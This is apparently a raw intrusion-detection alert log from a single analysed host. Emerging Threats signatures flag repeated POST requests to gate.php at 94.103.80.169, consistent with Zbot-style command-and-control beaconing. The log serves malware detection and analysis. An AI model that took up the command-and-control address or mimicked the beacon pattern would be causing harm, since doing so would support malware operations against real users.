08/15/21-08:40:47.671143	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.671143	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.812934	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.812934	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.812934	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.952312	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.952312	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.952312	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.092094	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.092094	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.092094	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.237710	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.237710	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.237710	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.372080	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.372080	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.372080	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.513106	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.513106	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.513106	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.657740	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.657740	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.657740	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.793901	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.793901	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.793901	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.936344	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.936344	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:48.936344	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.075840	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.075840	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.075840	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.216532	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.216532	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.216532	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.357763	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.357763	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.357763	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.498928	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.498928	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.498928	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.640145	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.640145	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.640145	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.795606	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.795606	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.795606	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.936449	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.936449	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:49.936449	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.076931	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.076931	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.076931	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.215985	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.215985	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.215985	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.357469	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.357469	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.357469	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.498090	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.498090	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.498090	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.638125	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.638125	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.638125	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.778876	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.778876	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.778876	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.918985	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.918985	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:50.918985	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.060769	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.060769	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.060769	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.200646	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.200646	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.200646	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.341549	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.341549	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.341549	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.482532	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.482532	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.482532	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.638536	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.638536	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.638536	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.779390	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.779390	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.779390	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.919577	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.919577	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:51.919577	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.060639	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.060639	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.060639	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.200586	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.200586	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.200586	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.341477	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.341477	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.341477	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.481625	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.481625	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.481625	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.622266	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.622266	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.622266	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.766152	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.766152	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.766152	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.903784	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.903784	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:52.903784	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.044993	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.044993	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.044993	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.185516	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.185516	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.185516	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.338731	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.338731	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.338731	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.481846	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.481846	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.481846	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.624849	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.624849	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.624849	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.762903	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.762903	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.762903	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.904141	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.904141	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:53.904141	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.059687	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.059687	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.059687	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.204156	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.204156	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.204156	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.341369	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.341369	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.341369	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.482177	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.482177	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.482177	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.628582	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.628582	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.628582	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.768151	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.768151	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.768151	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.905830	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.905830	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:54.905830	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.046407	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.046407	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.046407	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.189355	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.189355	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.189355	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.327450	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.327450	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.327450	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.468796	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.468796	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.468796	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.610440	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.610440	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.610440	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.747936	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.747936	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.747936	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.892927	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.892927	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:55.892927	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.038675	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.038675	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.038675	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.186699	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.186699	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.186699	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.328008	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.328008	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.328008	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.469168	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.469168	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.469168	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.608290	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.608290	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.608290	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.747945	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.747945	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.747945	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.889207	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.889207	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:56.889207	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.029631	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.029631	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.029631	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.170570	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.170570	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.170570	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
